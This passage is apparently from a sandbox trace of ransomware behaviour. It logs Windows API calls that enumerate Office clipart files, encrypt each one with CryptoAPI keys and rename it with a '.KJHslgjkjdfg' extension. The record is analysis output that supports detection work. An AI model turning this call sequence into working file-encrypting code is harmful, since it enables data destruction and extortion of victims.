Office\\CLIPART\\PUB60COR\\J0239943.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239943.wmf.kjhslgjkjdfg")) returned 1 [0181.082] CloseHandle (hObject=0x114) returned 1 [0181.082] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239951.WMF", cAlternateFileName="")) returned 1 [0181.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239951.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.083] GetProcessHeap () returned 0x2a0000 [0181.083] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.083] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.083] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.083] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.083] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.083] GetProcessHeap () returned 0x2a0000 [0181.083] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.083] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.083] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.083] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.086] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.086] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.086] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.086] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.086] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.086] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.086] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.086] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.086] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1c40, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1c40, lpOverlapped=0x0) returned 1 [0181.087] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1c40, dwBufLen=0x1c40 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1c40) returned 1 [0181.087] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.087] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1c40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1c40, lpOverlapped=0x0) returned 1 [0181.088] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.088] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1d14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.088] SetEndOfFile (hFile=0x114) returned 1 [0181.090] GetProcessHeap () returned 0x2a0000 [0181.090] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.091] GetProcessHeap () returned 0x2a0000 [0181.091] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.091] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239951.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239951.wmf.kjhslgjkjdfg")) returned 1 [0181.092] CloseHandle (hObject=0x114) returned 1 [0181.092] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bc8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239953.WMF", cAlternateFileName="")) returned 1 [0181.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239953.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.093] GetProcessHeap () returned 0x2a0000 [0181.093] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.093] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.093] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.093] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.097] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.097] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.097] GetProcessHeap () returned 0x2a0000 [0181.097] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.097] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.097] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.097] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.097] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.098] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.098] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.098] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.098] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.098] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.098] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.098] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.098] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1bc8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1bc8, lpOverlapped=0x0) returned 1 [0181.099] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1bd0, dwBufLen=0x1bd0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1bd0) returned 1 [0181.099] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.099] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1bd0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1bd0, lpOverlapped=0x0) returned 1 [0181.100] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.100] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1ca4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.100] SetEndOfFile (hFile=0x114) returned 1 [0181.103] GetProcessHeap () returned 0x2a0000 [0181.103] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.103] GetProcessHeap () returned 0x2a0000 [0181.103] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.103] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239953.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239953.wmf.kjhslgjkjdfg")) returned 1 [0181.105] CloseHandle (hObject=0x114) returned 1 [0181.105] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1348, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239955.WMF", cAlternateFileName="")) returned 1 [0181.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239955.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.107] GetProcessHeap () returned 0x2a0000 [0181.107] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.107] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.107] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.107] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.110] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.110] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.110] GetProcessHeap () returned 0x2a0000 [0181.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.110] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.110] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.110] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.110] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.110] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.110] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.110] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.110] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.110] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.111] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.111] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.111] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1348, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1348, lpOverlapped=0x0) returned 1 [0181.112] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1350, dwBufLen=0x1350 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1350) returned 1 [0181.112] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.112] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1350, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1350, lpOverlapped=0x0) returned 1 [0181.112] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.112] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1424, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.112] SetEndOfFile (hFile=0x114) returned 1 [0181.115] GetProcessHeap () returned 0x2a0000 [0181.115] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.115] GetProcessHeap () returned 0x2a0000 [0181.115] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.115] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239955.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239955.wmf.kjhslgjkjdfg")) returned 1 [0181.117] CloseHandle (hObject=0x114) returned 1 [0181.117] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1720, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239965.WMF", cAlternateFileName="")) returned 1 [0181.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239965.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.118] GetProcessHeap () returned 0x2a0000 [0181.118] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.118] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.118] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.118] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.118] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.118] GetProcessHeap () returned 0x2a0000 [0181.118] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.118] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.118] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.118] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.121] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.121] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.121] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.121] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.122] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.122] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.122] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.122] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.122] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1720, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1720, lpOverlapped=0x0) returned 1 [0181.123] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1720, dwBufLen=0x1720 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1720) returned 1 [0181.123] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.123] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1720, lpOverlapped=0x0) returned 1 [0181.123] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.123] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x17f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.123] SetEndOfFile (hFile=0x114) returned 1 [0181.126] GetProcessHeap () returned 0x2a0000 [0181.126] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.126] GetProcessHeap () returned 0x2a0000 [0181.126] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.127] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239965.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239965.wmf.kjhslgjkjdfg")) returned 1 [0181.128] CloseHandle (hObject=0x114) returned 1 [0181.128] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x154c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239967.WMF", cAlternateFileName="")) returned 1 [0181.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239967.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.129] GetProcessHeap () returned 0x2a0000 [0181.129] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.129] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.129] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.129] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.132] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.132] CryptSetKeyParam (hKey=0x2c63a0, 